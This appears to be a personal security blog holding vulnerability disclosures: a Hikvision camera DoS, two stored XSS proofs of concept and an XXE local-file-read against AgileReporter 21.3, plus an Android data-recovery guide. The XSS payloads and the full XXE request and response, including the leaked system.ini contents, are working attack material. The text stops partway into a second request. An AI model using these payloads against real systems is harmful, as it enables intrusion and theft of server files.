CRASHPARK'S BLOG
  • Home
  • Blog
  • Portfolio
  • Contact

BLOG

Hikvision IP Camera Unauthenticated  Denial of Service (DoS)

11/20/2024

0 Comments

 

Hikvision IP Camera Unauthenticated Denial of Service (DoS) Vulnerability

Edit2: Yass 💪, got it: CVE-2025-45851
​

Edit: After a looong conversation with the vendor, I've got these:
"Hi,
    After multiple attempts, we found that whether the device restarts or not is related to the current memory resource usage of the device, so it is not always necessary. The probability of occurrence is lower for devices with abundant memory resources, and higher for devices with limited memory resources. We are researching avoidance methods, such as limiting the number of connections, when device hardware resources cannot be increased. We will release a new version after finding a suitable solution, and only then can we apply for CVE."
...

​"Hi,
    We have provided a fix version that restricts the number of device connections to mitigate such attacks. You can upgrade this version on your device and try to see if it can solve this problem
Firmware :...
"

So the vendor accepted the vulnerability and provided the patch. CVE number is on the way 
💪
-----------------------------------------------------------------------------------------------------------------------------

A Denial of Service (DoS) vulnerability was identified in the Hikvision IP Camera, model DS-2CD1321-I, running firmware version V5.7.21 build 230819. This vulnerability can be exploited by sending specially crafted POST requests to the /ISAPI/Security/challenge endpoint. By modifying the PrivateKey parameter to contain an excessively large payload (approximately 100,000 characters) and carefully timing the requests, an attacker can cause resource exhaustion, leading to the crash of the davinci process and ultimately forcing the camera to reboot.

Technical Details
  • Vulnerable Component: /ISAPI/Security/challenge endpoint
  • Method of Exploitation:
    • Send a POST request with the PrivateKey parameter set to a 100,000-character value.
    • Requests must be sent fast enough to overwhelm the device's resources but not so fast that the device drops the connections.
    • Successful exploitation causes the camera to crash and reboot due to the davinci process exiting unexpectedly.

Discovery Process
To identify this vulnerability, I performed a hardware-level investigation:
  1. Disassembly: The camera was disassembled to access internal components.
  2. UART Access: An UART interface was located on the device. Two pins were prepared from standard sewing pins to connect the UART interface to an UART-to-USB adapter, as both connectors were female.
  3. Power Pin Identification: Pinout analysis was conducted using a multimeter to identify the TX, RX, and GND pins. The proper baud rate was determined to be 115200.
  4. Reverse Engineering: Using the UART connection, I monitored device behavior under stress conditions and observed the effects of large payloads on the /ISAPI/Security/challenge endpoint.

Impact
The vulnerability allows attackers to cause a temporary Denial of Service (DoS), disrupting the camera's availability. This could be exploited in scenarios where uninterrupted camera operation is critical, such as surveillance systems. The exploitation not requires authentication, only the access of the camera on network.
Visual Evidences:
​Image of the UART Interface and USB connection:​
Picture
Picture
Baud Rate Configuration:
Picture
Camera Reboot Log:
Picture
Picture
To summarise very briefly, the IP camera suffers from unauthenticated DoS vulnerability due to resource exhaustion.
0 Comments

How to save data from android phone with broken screen

12/16/2023

0 Comments

 
Picture
Demonstration:
https://youtu.be/kJsaq_PmA_E
​
So I got an android phone that had a broken screen, the owner had thousands of photos, videos on it but when plugged it in her computer, she could not tap on the file sharing because of the broken screen.
Cheaper android phones don’t support video output via HDMI, but I figured out a solution. She knew her phone unlock code and had access to her Gmail account that used with the phone. The phone didn't connect to my Wifi.
 
Will need:
- OTG cable (Your phones to USB)
- USB HUB
- Keyboard
- Ethernet cable
- Ethernet to USB adaptor

Note: You will be blind on the phone. I recommend to do the process on a different phone first to see what's happening. If the phone doesn't do what you want, you can always force restart it by pushing the power button long enough.
 
You will need an another phone to scan for the phones IP address on the local network. I recommend "Net Analyser" on an another android phone. PC also an option with nmap but it's harder to use than a phone app.
 
1. Plug the cables.
2. Turn on the phone.
3. Install this app remotely to your phone:
https://play.google.com/store/apps/details?id=jp.ubi.common.http.server
4. Keyboard:
              Tap SPACE 2 times (slowly) - This will trigger the unlocking screen
5. Keyboard: Type the unlock code - On success you will hear the unlocking sound, if not, push the power button 2 time on the phone to set it idle.
6. Keyboard: push these buttons: (At 2022 it was just "Windows" then "Tab", so maybe it's differs on your android phone too)
              - Windows
              - 5x Tab
              - SPACE
This will activate voice command.
7. Say "Open Simple HTTP Server" - On success, the phone will say "Okay", if not, push "Tasks" button on keyboard and try again.
8. On keyboard push these buttons:
              - 2x Tab
              - 3x SPACE
Now we finished with setup of the app.
9: To Turn it on push:
              - Tab
              - SPACE
Now the phones folders are shared on local network. On the previously scanned IP on port 12345:
Picture
​In order to download the files to a Windows PC, download VisualWget 2.6 on it. (easier to manage when the phone disconnects)
VisualWget 2.6 https://www.majorgeeks.com/mg/getmirror/visualwget,1.html
 
Configure it by the way below:
Picture
Picture
​Note: You have to keep pushing a button on the keyboard if you don't want the phone to lock the screen because it's disconnects the sharing. I recommend "0" since is neutral.

The app will download the files from the selected folder and its subfolders.

Demonstration again:
https://youtu.be/kJsaq_PmA_E
0 Comments

2. Stored XSS in AgileReporter (Oracle) 21.3 by VERMEG

6/29/2022

1 Comment

 
Picture
Note: Stored XSS (Only admin user is able to injects the payload).
 
How to reproduce:

1. Click Settings --> Administration --> Product Update
2. Click on Set Broadcast Message
3. Paste the following payload to the Message field:
    <IMG SRC= / onerror=alert(String.fromCharCode(49))>
4. Set a Start and End time and click save.
5. The payload will trigger in every page refresh.
1 Comment

1. Stored XSS in AgileReporter (Oracle) 21.3 by VERMEG

6/29/2022

0 Comments

 
Picture
Important note:
User with lower permission is able to add comment with payload that executed in the admin's browser.

How to reproduce:
1. Click the name of one of the Returns.
2. Click on Activity log.
3. Click on Add comment.
4. Paste the following payload into the input field:
    <img/src=`%00` onerror=this.onerror=confirm(3)>
5. Click OK
6. Open https://...removed_by_tester/analysis-module/dashboard
7. Select Regulator, Entity and exactly that Return that you have selected before
8. Click on Create
9. Click on Menu --> Comments: This will trigger the javascript pop-up code.
0 Comments

XXE in AgileReporter (Oracle) 21.3 by VERMEG

6/29/2022

0 Comments

 
Local file inclusion, Directory Listing, Denial of Service though XML External entity (XXE) injection.
Note: Only Admin user is able to expolit the vulnerability.
  1. DoS:
    The XML parser in "Config Package Bindind" --> "Manage Execution Groups" option is vulnerable to XXE. An uploaded file with XML Bomb caused Denial of Service for hours.
     
    Uploading the malicious xml file and the content of it:
Picture
Picture
source and copyable version:
https://en.wikipedia.org/wiki/Billion_laughs_attack
The web application (not only this page) was unavaiable for hours:
Picture
So this was the low hanging fruit. Realizing that the webapp expects an xml file as a souce of data and upload an XML bomb.
But there are possibilities to exploit this vulnerability to retrieve sensitive data from the server.
So there is an "Export button" next to "Import file button". This was my sample to upload more Execution Groups and their additional details.
The easies way to show the LFI and Directory listing is putting the Requests and Reposes here.

Local File Inclusion and Directory listing:I was able to exploit the vulnerability to perform Directory listing and Local File Inclusion. In this way I was able to access the file system (system files and user data also) and the content of mounted drives, so the process were running with a higher privilege.
 
The method was the same but the uploaded file was a modified version of a previously exported “Execution Group”. In this way I could declare an entity (highlighted with green) and call it later in the document. In this way I got the content of c:/Windows/system.ini after calling &xxe; variable in the response.


 2. LFI
Request


POST /agilereporter/core/page/admin/config/configPackageBinding.xhtml?dswid=-3091 HTTP/1.1
Host: ...removed by tester
Cookie: primefaces.download=true; JSESSIONID=0C-36ywhTHY_iTtHmixjOwS5qt8jhSSDg3va51N5.sgazrapp008; ApplicationGatewayAffinityCORS=a317a76f28f83936cb54aa5701a2aabd; ApplicationGatewayAffinity=a317a76f28f83936cb54aa5701a2aabd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Faces-Request: partial/ajax
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------22114693211599442001093007703
Content-Length: 11355
Origin: https:// ...removed by tester
Dnt: 1
Referer: https://...removed by tester
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="importFileForm"

importFileForm
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="importFileForm:ImportInfoTable_rppDD"

10
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="importFileForm:ImportInfoTable_scrollState"

0,0
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.ViewState"

-1207254338988663714:6479361099775717792
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.ClientWindow"

-3091
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.partial.ajax"

true
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.partial.execute"

importFileForm:importFileUpload
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.source"

importFileForm:importFileUpload
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.partial.render"

importFileForm:messages importFileForm:listuploadedFileName importFileForm:listimportBtn importFileForm:ImportInfoTable
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="importFileForm:importFileUpload"; filename="ExecutionGroupExport_18032022_xml_play01.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="GBK" standalone="yes"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "c:/Windows/system.ini" >]>
<ExecutionGroupDto xmlns="http://www.lombardrisk.com/ocelot/executionGroup">
    <configPrefix>MAS</configPrefix>
    <item>
        <name>Computeeeee &xxe; &amp; Retrieve R610</name>
        <description>Compute &amp; Retrieve R610</description>
        <content>{"configPrefix":"MAS","name":"Compute \u0026 Retrieve R610","description":"Compute \u0026 Retrieve R610","abortOnFailure":true,"batchRunJobs":[{"configPrefix":"MAS","name":"LOADDATA","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":0},{"configPrefix":"MAS","name":"INTERFACE","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":1},{"configPrefix":"MAS","name":"MAS610PREPRO","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":2},{"configPrefix":"MAS","name":"MAS610B12","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":3},{"configPrefix":"MAS","name":"MAS610B3","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":5},{"configPrefix":"MAS","name":"MAS610C1","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":7},{"configPrefix":"MAS","name":"MAS610D1","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":9},{"configPrefix":"MAS","name":"MAS610D2","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":11},{"configPrefix":"MAS","name":"MAS610D3","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":13},{"configPrefix":"MAS","name":"MAS610D4","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":15},{"configPrefix":"MAS","name":"MAS610D5","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":17},{"configPrefix":"MAS","name":"MAS610E1","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":19},{"configPrefix":"MAS","name":"MAS610E2","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":21},{"configPrefix":"MAS","name":"MAS610E3","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":23},{"configPrefix":"MAS","name":"MAS610F","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":25},{"configPrefix":"MAS","name":"MAS610G","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":27},{"configPrefix":"MAS","name":"MAS610H","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":29},{"configPrefix":"MAS","name":"MAS610I","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":31},{"configPrefix":"MAS","name":"MAS610J","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":33},{"configPrefix":"MAS","name":"MAS610K","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":35},{"configPrefix":"MAS","name":"MAS610L","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":37},{"configPrefix":"MAS","name":"MAS610M","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":39}],"computeJobs":[{"configPrefix":"MAS","formName":"MAS610_B1_B2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":4},{"configPrefix":"MAS","formName":"MAS610_B3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":6},{"configPrefix":"MAS","formName":"MAS610_C1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":8},{"configPrefix":"MAS","formName":"MAS610_D1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":10},{"configPrefix":"MAS","formName":"MAS610_D2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":12},{"configPrefix":"MAS","formName":"MAS610_D3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":14},{"configPrefix":"MAS","formName":"MAS610_D4","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":16},{"configPrefix":"MAS","formName":"MAS610_D5","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":18},{"configPrefix":"MAS","formName":"MAS610_E1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":20},{"configPrefix":"MAS","formName":"MAS610_E2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":22},{"configPrefix":"MAS","formName":"MAS610_E3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":24},{"configPrefix":"MAS","formName":"MAS610_F","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":26},{"configPrefix":"MAS","formName":"MAS610_G","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":28},{"configPrefix":"MAS","formName":"MAS610_H","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":30},{"configPrefix":"MAS","formName":"MAS610_I","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":32},{"configPrefix":"MAS","formName":"MAS610_J","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":34},{"configPrefix":"MAS","formName":"MAS610_K","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":36},{"configPrefix":"MAS","formName":"MAS610_L","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":38},{"configPrefix":"MAS","formName":"MAS610_M","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":40}]}</content>
    </item>
    <item>
        <name>Retrieve R610</name>
        <description>Retrieve R610 Reports</description>
        <content>{"configPrefix":"MAS","name":"Retrieve R610","description":"Retrieve R610 Reports","abortOnFailure":true,"batchRunJobs":[],"computeJobs":[{"formName":"MAS610_B1_B2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":0},{"formName":"MAS610_B3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":1},{"formName":"MAS610_C1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":2},{"formName":"MAS610_D1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":3},{"formName":"MAS610_D2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":4},{"formName":"MAS610_D3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":5},{"formName":"MAS610_D4","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":6},{"formName":"MAS610_D5","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":7},{"formName":"MAS610_E1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":8},{"formName":"MAS610_E2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":9},{"formName":"MAS610_E3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":10},{"formName":"MAS610_F","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":11},{"formName":"MAS610_G","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":12},{"formName":"MAS610_H","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":13},{"formName":"MAS610_I","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":14},{"formName":"MAS610_J","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":15},{"formName":"MAS610_K","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":16},{"formName":"MAS610_L","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":17},{"formName":"MAS610_M","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":18}]}</content>
    </item>
</ExecutionGroupDto>

-----------------------------22114693211599442001093007703--

Response
HTTP/1.1 200 OK
Date: Mon, 21 Mar 2022 20:37:12 GMT
Content-Type: text/xml; charset=UTF-8
Connection: close
Expires: 0
CACHE-CONTROL: NO-CACHE
CACHE-CONTROL: no-cache, no-store, must-revalidate
CACHE-CONTROL: no-cache
X-XSS-Protection: 1; mode=block
PRAGMA: NO-CACHE
PRAGMA: no-cache
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
Content-Length: 9907
 
<?xml version='1.0' encoding='UTF-8'?>
<partial-response><changes><update id="importFileForm:messages"><![CDATA[<div id="importFileForm:messages" class="ui-messages ui-widget" aria-live="polite"></div>]]></update><update id="importFileForm:listuploadedFileName"><![CDATA[<span id="importFileForm:listuploadedFileName"></span>]]></update><update id="importFileForm:ImportInfoTable"><![CDATA[<div id="importFileForm:ImportInfoTable" class="ui-datatable ui-widget ui-datatable-scrollable borderless headerClass tableFixClass" style="width:800px;"><div class="ui-widget-header ui-datatable-scrollable-header"><div class="ui-datatable-scrollable-header-box"><table role="grid"><thead id="importFileForm:ImportInfoTable_head"><tr role="row"><th id="importFileForm:ImportInfoTable:j_idt348" class="ui-state-default ui-sortable-column" role="columnheader" aria-label="level" scope="col" style="width:5%"><span class="ui-column-title">level</span><span class="ui-sortable-column-icon ui-icon ui-icon-carat-2-n-s"></span><span class="ui-sortable-column-badge ui-helper-hidden"></span></th><th id="importFileForm:ImportInfoTable:j_idt350" class="ui-state-default ui-sortable-column" role="columnheader" aria-label="Type" scope="col" style="width:15%"><span class="ui-column-title">Type</span><span class="ui-sortable-column-icon ui-icon ui-icon-carat-2-n-s"></span><span class="ui-sortable-column-badge ui-helper-hidden"></span></th><th id="importFileForm:ImportInfoTable:j_idt352" class="ui-state-default ui-sortable-column" role="columnheader" aria-label="action" scope="col" style="width:5%"><span class="ui-column-title">action</span><span class="ui-sortable-column-icon ui-icon ui-icon-carat-2-n-s"></span><span class="ui-sortable-column-badge ui-helper-hidden"></span></th><th id="importFileForm:ImportInfoTable:j_idt354" class="ui-state-default ui-sortable-column" role="columnheader" aria-label="Content" scope="col" style="width:75%"><span class="ui-column-title">Content</span><span class="ui-sortable-column-icon ui-icon ui-icon-carat-2-n-s"></span><span class="ui-sortable-column-badge ui-helper-hidden"></span></th></tr></thead></table></div></div><div class="ui-datatable-scrollable-body" tabindex="-1"><table role="grid"><tbody id="importFileForm:ImportInfoTable_data" class="ui-datatable-data ui-widget-content"><tr data-ri="0" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">WARN</td><td role="gridcell" class="">Execution Group</td><td role="gridcell" class="">REMOVE</td><td role="gridcell" class="">Execution Group (Computeeeee &amp; Retrieve R610) not in source file</td></tr><tr data-ri="1" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Group</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Group (Computeeeee ; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
 
[drivers]
wave=mmdrv.dll
timer=timer.drv
 
[mci]

 &amp; Retrieve R610)</td></tr><tr data-ri="2" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_B1_B2|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="3" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_B3|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="4" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_C1|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="5" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D1|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="6" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D2|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="7" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D3|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="8" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D4|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="9" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D5|1, Translate: false,Preserve adjustment: false)</td></tr></tbody></table></div><div class="ui-widget-header ui-datatable-scrollable-footer"><div class="ui-datatable-scrollable-footer-box"><table role="grid"></table></div></div><div id="importFileForm:ImportInfoTable_paginator_bottom" class="ui-paginator ui-paginator-bottom ui-widget-header ui-corner-bottom" role="navigation" aria-label="Pagination"><a href="#" class="ui-paginator-first ui-state-default ui-corner-all ui-state-disabled" aria-label="First Page" tabindex="-1"><span class="ui-icon ui-icon-seek-first">F</span></a><a href="#" class="ui-paginator-prev ui-state-default ui-corner-all ui-state-disabled" aria-label="Previous Page" tabindex="-1"><span class="ui-icon ui-icon-seek-prev">P</span></a><span class="ui-paginator-pages"><a class="ui-paginator-page ui-state-default ui-state-active ui-corner-all" tabindex="0" href="#">1</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">2</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">3</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">4</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">5</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">6</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">7</a></span><a href="#" class="ui-paginator-next ui-state-default ui-corner-all" aria-label="Next Page" tabindex="0"><span class="ui-icon ui-icon-seek-next">N</span></a><a href="#" class="ui-paginator-last ui-state-default ui-corner-all" aria-label="Last Page" tabindex="0"><span class="ui-icon ui-icon-seek-end">E</span></a><label id="importFileForm:ImportInfoTable:j_id156_rppLabel" for="importFileForm:ImportInfoTable:j_id156" class="ui-paginator-rpp-label ui-helper-hidden">Rows Per Page</label><select id="importFileForm:ImportInfoTable:j_id156" name="importFileForm:ImportInfoTable_rppDD" aria-labelledby="importFileForm:ImportInfoTable:j_id156_rppLabel" class="ui-paginator-rpp-options ui-widget ui-state-default ui-corner-left" autocomplete="off"><option value="5">5</option><option value="10" selected="selected">10</option><option value="20">20</option></select></div><input type="hidden" id="importFileForm:ImportInfoTable_scrollState" name="importFileForm:ImportInfoTable_scrollState" autocomplete="off" value="0,0" /></div><script id="importFileForm:ImportInfoTable_s" type="text/javascript">PrimeFaces.cw("DataTable","ImportInfoTableVar",{id:"importFileForm:ImportInfoTable",paginator:{id:['importFileForm:ImportInfoTable_paginator_bottom'],rows:10,rowCount:64,page:0,currentPageTemplate:'({currentPage} of {totalPages})',pageLinks:20},scrollable:true,liveScroll:false,scrollStep:0,scrollLimit:64,liveScrollBuffer:0,virtualScroll:false,touchable:false,sorting:true,multiSort:true,sortMetaOrder:[''],groupColumnIndexes:[],disableContextMenuIfEmpty:false});</script>]]></update><update id="importFileForm:listimportBtn"><![CDATA[<button id="importFileForm:listimportBtn" name="importFileForm:listimportBtn" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only btn-blue-darken" onclick="PrimeFaces.ab({s:&quot;importFileForm:listimportBtn&quot;,f:&quot;importFileForm&quot;,u:&quot;growl importFileForm executionGroupsForm executionItemsForm&quot;,onco:function(xhr,status,args,data){importNewHandleComplete(xhr, status, args); ;}});return false;" style="margin-right:10px;" type="submit"><span class="ui-button-text ui-c">Import</span></button><script id="importFileForm:listimportBtn_s" type="text/javascript">PrimeFaces.cw("CommandButton","widget_importFileForm_listimportBtn",{id:"importFileForm:listimportBtn"});</script>]]></update><update id="j_id1:javax.faces.ViewState:0"><![CDATA[-1207254338988663714:6479361099775717792]]></update><update id="j_id1:javax.faces.ClientWindow:0"><![CDATA[-3091]]></update><eval><![CDATA[resetSessionTimer();]]></eval></changes></partial-response>








2. Directory listing
Request
POST /agilereporter/core/page/admin/config/configPackageBinding.xhtml?dswid=-3091 HTTP/1.1
Host: ...removed by tester
Cookie: primefaces.download=true; JSESSIONID=0C-36ywhTHY_iTtHmixjOwS5qt8jhSSDg3va51N5.sgazrapp008; ApplicationGatewayAffinityCORS=a317a76f28f83936cb54aa5701a2aabd; ApplicationGatewayAffinity=a317a76f28f83936cb54aa5701a2aabd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Faces-Request: partial/ajax
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------22114693211599442001093007703
Content-Length: 11350
Origin: https:// ...removed by tester
Dnt: 1
Referer: https:// ...removed by tester /agilereporter/core/page/admin/config/configPackageBinding.xhtml?dswid=-3091
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
 
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="importFileForm"
 
importFileForm
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="importFileForm:ImportInfoTable_rppDD"
 
10
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="importFileForm:ImportInfoTable_scrollState"
 
0,0
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.ViewState"
 
-1207254338988663714:6479361099775717792
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.ClientWindow"
 
-3091
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.partial.ajax"
 
true
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.partial.execute"
 
importFileForm:importFileUpload
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.source"
 
importFileForm:importFileUpload
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="javax.faces.partial.render"
 
importFileForm:messages importFileForm:listuploadedFileName importFileForm:listimportBtn importFileForm:ImportInfoTable
-----------------------------22114693211599442001093007703
Content-Disposition: form-data; name="importFileForm:importFileUpload"; filename="ExecutionGroupExport_18032022_xml_play01.xml"
Content-Type: text/xml
 
<?xml version="1.0" encoding="GBK" standalone="yes"?>
